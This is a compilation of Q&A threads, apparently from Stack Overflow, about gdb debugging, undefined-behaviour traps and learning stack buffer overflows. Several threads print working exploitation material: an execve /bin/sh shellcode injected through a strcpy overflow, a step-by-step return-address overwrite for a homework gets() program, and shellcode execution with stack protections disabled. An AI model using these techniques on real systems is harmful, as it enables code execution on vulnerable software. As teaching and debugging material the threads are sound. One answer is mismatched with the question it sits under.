Take the following test program (compiled with clang 3.4 and run under gdb 7.6.1):
#include <limits.h>
#include <stdio.h>
int main(void)
{
int a = INT_MAX + 1;
int b = INT_MAX + 2;
printf("Result: a = %d, b = %d\n", a, b);
}
I would like to be able to use gdb to automatically stop at the second occurrence of undefined behaviour here (int b = ...).
If I compile with:
clang -fsanitize=undefined -O0 -ggdb3 -o test test.c
...then running the program under gdb just results in it running to completion:
test.c:6:21: runtime error: signed integer overflow: 2147483647 + 1 cannot be represented in type 'int'
test.c:7:21: runtime error: signed integer overflow: 2147483647 + 2 cannot be represented in type 'int'
Result: a = -2147483648, b = -2147483647
[Inferior 1 (process 24185) exited normally]
But if I use:
clang -fsanitize=undefined-trap -fsanitize-undefined-trap-on-error -O0 -ggdb3 -o test test.c
...then I can't continue past the first occurrence:
Program received signal SIGILL, Illegal instruction.
0x0000000000400556 in main () at test.c:6
6 int a = INT_MAX + 1;
(gdb) c
Continuing.
Program terminated with signal SIGILL, Illegal instruction.
The program no longer exists.
Is it possible to get gdb to break when (and only when) undefined behaviour is flagged, but to let the program continue otherwise? I'm after a technique that will work not just on this example, but in general, where the offending line might be inside a loop, the values may be determined at runtime, etc.
On x86-64 the instruction that causes SIGILL and stops a program is ud2 (http://asm.inightmare.org/opcodelst/index.php?op=UD2). In order to archive your goal you can change in gdb handling of SIGILL and use jumping (you need to add 2 to $pc on x86_64):
This is how the instruction ud2 is placed in the code of your test program on x86_64:
0x00000000004004f0 <+32>: 0f 85 02 00 00 00 jne 0x4004f8 <main+40>
=> 0x00000000004004f6 <+38>: 0f 0b ud2
0x00000000004004f8 <+40>: b8 ff ff ff 7f mov $0x7fffffff,%eax
These are gdb commands that is necessary to use:
handle SIGILL stop print nopass
set $pc = $pc + 2
This is an example for your test program:
$ gdb -q ./test
Reading symbols from /home/test...done.
(gdb) handle SIGILL stop print nopass
Signal Stop Print Pass to program Description
SIGILL Yes Yes No Illegal instruction
(gdb) r
Starting program: /home/test
Program received signal SIGILL, Illegal instruction.
0x00000000004004f6 in main () at test.c:6
6 int a = INT_MAX + 1;
(gdb) set $pc = $pc + 2
(gdb) c
Continuing.
Program received signal SIGILL, Illegal instruction.
0x000000000040051f in main () at test.c:7
7 int b = INT_MAX + 2;
(gdb) set $pc = $pc + 2
(gdb) c
Continuing.
Result: a = -2147483648, b = -2147483647
[Inferior 1 (process 7898) exited normally]
(gdb)
Useful links:
http://sourceware.org/gdb/current/onlinedocs/gdb/Jumping.html#Jumping
http://sourceware.org/gdb/current/onlinedocs/gdb/Signals.html#Signals
Related
I'm using Mimick to mock the exit function, but I get a stack not 16 byte aligned error.
Here's a reduced code example:
#include <stdlib.h>
#include <mimick.h>
mmk_mock_define(exit_mock, void, int);
int main(void) {
mmk_mock("exit#self", exit_mock);
exit(EXIT_FAILURE);
mmk_reset(exit);
return 0;
}
Compiled with the following on macOS 11:
clang -I ./include -g -rpath ./lib/ -Wl,-segalign,1000 -L ./lib/ -l mimick -o test test.c
Where mimick is already compiled and installed to ./lib and ./include.
Running with: lldb ./test
lldb gives me:
(lldb) target create "test"
Current executable set to '/Users/camdennarzt/Developer/C/test/test' (x86_64).
(lldb) r
Process 94625 launched: '/Users/camdennarzt/Developer/C/test/test' (x86_64)
Process 94625 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
frame #0: 0x00007fff20531c9e libdyld.dylib`stack_not_16_byte_aligned_error
libdyld.dylib`stack_not_16_byte_aligned_error:
-> 0x7fff20531c9e <+0>: movdqa %xmm0, (%rsp)
0x7fff20531ca3 <+5>: int3
0x7fff20531ca4 <+6>: nop
0x7fff20531ca5 <+7>: nop
Target 0: (test) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
* frame #0: 0x00007fff20531c9e libdyld.dylib`stack_not_16_byte_aligned_error
frame #1: 0x00007ffeefbfefc8
frame #2: 0x0000000100001941 test`mmk_mock_create_internal + 289
frame #3: 0x0000000100003315 test`mmkuser_exit_mock_create(tgt="\x80&", opts=(sentinel_ = 0, noabort = 0)) at test.c:4:1
frame #4: 0x00000001001ae010
frame #5: 0x00007fff20532f3d libdyld.dylib`start + 1
frame #6: 0x00007fff20532f3d libdyld.dylib`start + 1
Because I saw this I also tried compiling with -fno-stack-check -mmacosx-version-min=10.14 but it didn't help. I also tried with a homebrew installed clang but that didn't help either.
What am I doing wrong here? Or is there a bug in a library/compiler I'm using?
I do not know Criterion/Mimick so this may/may not make a difference.
If params[i].argv is to mimic main()'s argv, then .argv[argc] as NULL is missing.
argv[argc] shall be a null pointer.
C17 Spec.
params[0].argc = 1;
params[0].argv = cr_malloc(sizeof(char*) * 2 /* not 1 */);
params[0].argv[0] = cr_strdup("progname");
params[0].argv[1] = NULL; /* add */
Likewise for other params[i] and free_parse_args() needs update.
I'm trying to learn buffer overflow but I found myself in dead end. When I want to execute shellcode gdb just stuck and dont react to anything (Ctrl-C, Ctrl-D, Enter, Esc) and I have to close terminal and run everything again. I have this vulnerable program running on Linux 64 bit:
int main(int argc, char **argv) {
char buffer[256];
if (argc != 2) {
exit(0);
}
printf("%p\n", buffer);
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}
In gdb:
$ gcc vuln.c -o vuln -g -z execstack -fno-stack-protector
$ sudo gdb -q vuln
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3 #include <stdlib.h>
4
5 int main(int argc, char **argv) {
6 char buffer[256];
7 if (argc != 2) {
8 exit(0);
9 }
10 printf("%p\n", buffer);
(gdb) break 5
Breakpoint 1 at 0x4005de: file vuln.c, line 5.
(gdb) run $(python3 -c 'print("A" * 264 + "B" * 6)')
Starting program: /home/vladimir/workspace/hacking/vuln $(python3 -c 'print("A" * 264 + "B" * 6)')
Breakpoint 1, main (argc=2, argv=0x7fffffffe378) at vuln.c:7
7 if (argc != 2) {
(gdb) cont
Continuing.
0x7fffffffe190
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0x7ffff7b01ef4 140737348902644
rdx 0x7ffff7dd28c0 140737351854272
rsi 0x602260 6300256
rdi 0x0 0
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffe2a0 0x7fffffffe2a0
r8 0xfffffffffffffff0 -16
r9 0xffffffffffffff00 -256
r10 0x60236e 6300526
r11 0x246 582
r12 0x4004e0 4195552
r13 0x7fffffffe370 140737488348016
r14 0x0 0
r15 0x0 0
rip 0x424242424242 0x424242424242
(gdb) run $(python3 -c 'print("\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" + "\x90" * 233 + "\x90\xe1\xff\xff\xff\x7f")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/vladimir/workspace/hacking/vuln $(python3 -c 'print("\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" + "\x90" * 233 + "\x90\xe1\xff\xff\xff\x7f")')
Breakpoint 1, main (argc=2, argv=0x7fffffffe288) at vuln.c:7
7 if (argc != 2) {
(gdb) cont
Continuing.
0x7fffffffe0a0
After address there is also printed some garbage and as said gdb get stucked. Even if I run program in the same session of gdb, with these two different inputs, the address of buffer somehow changes and I cant think of why. Can someone tell me why gdb stuck and why address is changing? What am I doing wrong?
Each time you run your compiled program, gdb will call the the linker to allocate some space for buffer. There's no guarantee that it will be in the same space each time, and gdb might deliberately put it somewhere else to keep different runs separate.
What you're doing with the C program here is causing an error which is trapped by the operating system and cleaned up. There's a huge gap between causing a simple buffer overflow and being able to use that to run shell commands. You have code to do the first bit, but you need a lot more insight to do the second bit.
If you really want to do this sort of thing, you're going to have to do a fair bit more reading to understand what's going on, and what you might be able to do.
The address changes because the stack pointer upon entering main depends on the total length of the command line arguments. The two python snippets generate data of different lengths.
I have a homework assignment to exploit a buffer overflow in the given program.
#include <stdio.h>
#include <stdlib.h>
int oopsIGotToTheBadFunction(void)
{
printf("Gotcha!\n");
exit(0);
}
int goodFunctionUserInput(void)
{
char buf[12];
gets(buf);
return(1);
}
int main(void)
{
goodFunctionUserInput();
printf("Overflow failed\n");
return(1);
}
The professor wants us to exploit the input gets(). We are not suppose to modify the code in any way, only create a malicious input that will create a buffer overflow. I've looked online but I am not sure how to go about doing this. I'm using gcc version 5.2.0 and Windows 10 version 1703. Any tips would be great!
Update:
I have looked up some tutorials and at least found the address for the hidden function I am trying to overflow into, but I am now stuck. I have been trying to run these commands:
gcc -g -o vuln -fno-stack-protector -m32 homework5.c
gdb ./vuln
disas main
break *0x00010880
run $(python -c "print('A'*256)")
x/200xb $esp
With that last command, it comes up saying "Value can't be converted to integer." I tried replacing esp to rsp because I am on a 64-bit but that came up with the same result. Is there a work around to this or another way to find the address of buf?
Since buf is pointing to an array of characters that are of length 12, inputing anything with a length greater than 12 should result in buffer overflow.
First, you need to find the offset to overwrite the Instruction pointer register (EIP).
Use gdb + peda is very useful:
$ gdb ./bof
...
gdb-peda$ pattern create 100 input
Writing pattern of 100 chars to filename "input"
...
gdb-peda$ r < input
Starting program: /tmp/bof < input
...
=> 0x4005c8 <goodFunctionUserInput+26>: ret
0x4005c9 <main>: push rbp
0x4005ca <main+1>: mov rbp,rsp
0x4005cd <main+4>: call 0x4005ae <goodFunctionUserInput>
0x4005d2 <main+9>: mov edi,0x40067c
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe288 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffe290 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffe298 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffe2a0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffe2a8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffe2b0 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffe2b8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0056| 0x7fffffffe2c0 ("AJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005c8 in goodFunctionUserInput ()
gdb-peda$ patts
Registers contain pattern buffer:
R8+0 found at offset: 92
R9+0 found at offset: 56
RBP+0 found at offset: 16
Registers point to pattern buffer:
[RSP] --> offset 24 - size ~76
[RSI] --> offset 0 - size ~100
....
Now, you can overwrite the EIP register, the offset is 24 bytes. As in your homework just need print the "Gotcha!\n" string. Just jump to oopsIGotToTheBadFunction function.
Get the function address:
$ readelf -s bof
...
50: 0000000000400596 24 FUNC GLOBAL DEFAULT 13 oopsIGotToTheBadFunction
...
Make the exploit and got the results:
[manu#debian /tmp]$ python -c 'print "A"*24+"\x96\x05\x40\x00\x00\x00\x00\x00"' > input
[manu#debian /tmp]$ ./bof < input
Gotcha!
To check whether I can change code at run time or not, I wrote a small piece of code(below) in linux.
int add(int a, int b)
{
printf("reached inside the function");
return a+b;
}
int main()
{
int x=10;
int y = 20;
int * p;
int z;
int (*fp) (int , int);
fp = add;
p = (int *)fp;
*(p+0) = 0;
z = add(x,y);
}
As there is no issue from c coding point of view, compiler compiles is perfectly and link also happens. But at run time it fails with below error:
Segmentation fault (core dumped)
Above error is perfect, because code segment is not supposed to be changed at run time, But I want to know how it is controlled at run time.
To know more about the code area restrictions, I ran readelf on the output file and result shows below in section headers:
[13] .text PROGBITS 08048330 000330 0001cc 00 AX 0 0 16
where section header flag shows as "AX" , means this section is just allocatable and executable. It does not support writing ("W").
and with a small change in the elf file I was able to modify the flag of this section as "WAX" , as below:
[13] .text PROGBITS 08048330 000330 0001cc 00 WAX 0 0 16
But still I get the same "segmentation fault" error.
I want to know - how is it achieved by the system?
The system is ignoring the W flag here:
$ gcc -Wall file.c
$ readelf -S a.out | grep .text
[14] .text PROGBITS 08048330 000330 0001cc 00 AX 0 0 16
$ objcopy a.out --set-section-flags .text=alloc,code,data a.out
$ readelf -S a.out | grep .text
[14] .text PROGBITS 08048330 000330 0001cc 00 WAX 0 0 16
$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: a.out
Program received signal SIGSEGV, Segmentation fault.
0x0804842f in main ()
(gdb) x/i 0x0804842f
0x804842f <main+45>: movl $0x0,(%eax)
(gdb)
You still cannot write to p. You can change the memory page protection at runtime using mprotect:
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/mman.h>
int add(int a, int b)
{
printf("reached inside the function");
return a+b;
}
int main()
{
int x=10;
int y = 20;
int * p;
int z;
int (*fp) (int , int);
long pagesize;
fp = add;
p = (int *)fp;
pagesize = sysconf(_SC_PAGESIZE);
if(mprotect((void *)((uintptr_t)p & ~((uintptr_t)pagesize - 1)), pagesize, PROT_READ | PROT_WRITE | PROT_EXEC) == -1)
perror("Error mprotect()");
*(p+0) = 0;
z = add(x,y);
return 0;
}
this will leave you with the bad instruction to fix:
$ gcc -Wall file.c
$ ./a.out
Segmentation fault
$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: a.out
Program received signal SIGSEGV, Segmentation fault.
0x08048484 in add ()
(gdb) x/i 0x08048484
0x8048484 <add>: add %al,(%eax)
(gdb)
Does the segmentation fault happen at the same place?
It could be that the OS ignores the W flag, but I don't think that's the case here. Assuming the OS honours the flag, the following is relevant.
You are overwriting the first instruction of the add function with 0, which in x86 assembly is (assuming 4 bytes int here)
00000000 0000 add [bx+si],al
00000002 0000 add [bx+si],al
This most likely ends up accessing invalid memory, at bx+si.
I'm trying to execute this simple opcode for exit(0) call by overwriting the return address of main.
The problem is I'm getting segmentation fault.
#include <stdio.h>
char shellcode[]= "/0xbb/0x14/0x00/0x00/0x00"
"/0xb8/0x01/0x00/0x00/0x00"
"/0xcd/0x80";
void main()
{
int *ret;
ret = (int *)&ret + 2; // +2 to get to the return address on the stack
(*ret) = (int)shellcode;
}
Execution result in Segmentation error.
[user1#fedo BOF]$ gcc -o ExitShellCode ExitShellCode.c
[user1#fedo BOF]$ ./ExitShellCode
Segmentation fault (core dumped)
This is the Objdump of the shellcode.a
[user1#fedo BOF]$ objdump -d exitShellcodeaAss
exitShellcodeaAss: file format elf32-i386
Disassembly of section .text:
08048054 <_start>:
8048054: bb 14 00 00 00 mov $0x14,%ebx
8048059: b8 01 00 00 00 mov $0x1,%eax
804805e: cd 80 int $0x80
System I'm using
fedora Linux 3.1.2-1.fc16.i686
ASLR is disabled.
Debugging with GDB.
gcc version 4.6.2
mmm maybe it is to late to answer to this question, but they might be a passive syntax error. It seems like thet shellcode is malformed, I mean:
char shellcode[]= "/0xbb/0x14/0x00/0x00/0x00"
"/0xb8/0x01/0x00/0x00/0x00"
"/0xcd/0x80";
its not the same as:
char shellcode[]= "\xbb\x14\x00\x00\x00"
"\xb8\x01\x00\x00\x00"
"\xcd\x80";
although this fix won't help you solving this problem, but have you tried disabling some kernel protection mechanism like: NX bit, Stack Randomization, etc... ?
Based on two other questions, namely How to determine return address on stack? and C: return address of function (mac), i'm confident that you are not overwriting the correct address. This is basically caused due to your assumption, that the return address can be determined in the way you did it. But as the answer to thefirst question (1) states, this must not be the case.
Therefore:
Check if the address is really correct
Find a way for determining the correct return address, if you do not want to use the builtin GCC feature
You can also execute shellcode like in this scenario, by casting the buffer to a function like
(*(int(*)()) shellcode)();
If you want the shellcode be executed in the stack you must compile without NX (stack protector) and with correct permissions.
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
E.g.
#include <stdio.h>
#include <string.h>
const char code[] ="\xbb\x14\x00\x00\x00"
"\xb8\x01\x00\x00\x00"
"\xcd\x80";
int main()
{
printf("Length: %d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
If you want to debug it with gdb:
[manu#debian /tmp]$ gdb ./shellcode
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
...
Reading symbols from ./shellcode...(no debugging symbols found)...done.
(gdb) b *&code
Breakpoint 1 at 0x4005c4
(gdb) r
Starting program: /tmp/shellcode
Length: 2 bytes
Breakpoint 1, 0x00000000004005c4 in code ()
(gdb) disassemble
Dump of assembler code for function code:
=> 0x00000000004005c4 <+0>: mov $0x14,%ebx
0x00000000004005c9 <+5>: mov $0x1,%eax
0x00000000004005ce <+10>: int $0x80
0x00000000004005d0 <+12>: add %cl,0x6e(%rbp,%riz,2)
End of assembler dump.
In this proof of concept example is not important the null bytes. But when you are developing shellcodes you should keep in mind and remove the bad characters.
Shellcode cannot have Zeros on it. Remove the null characters.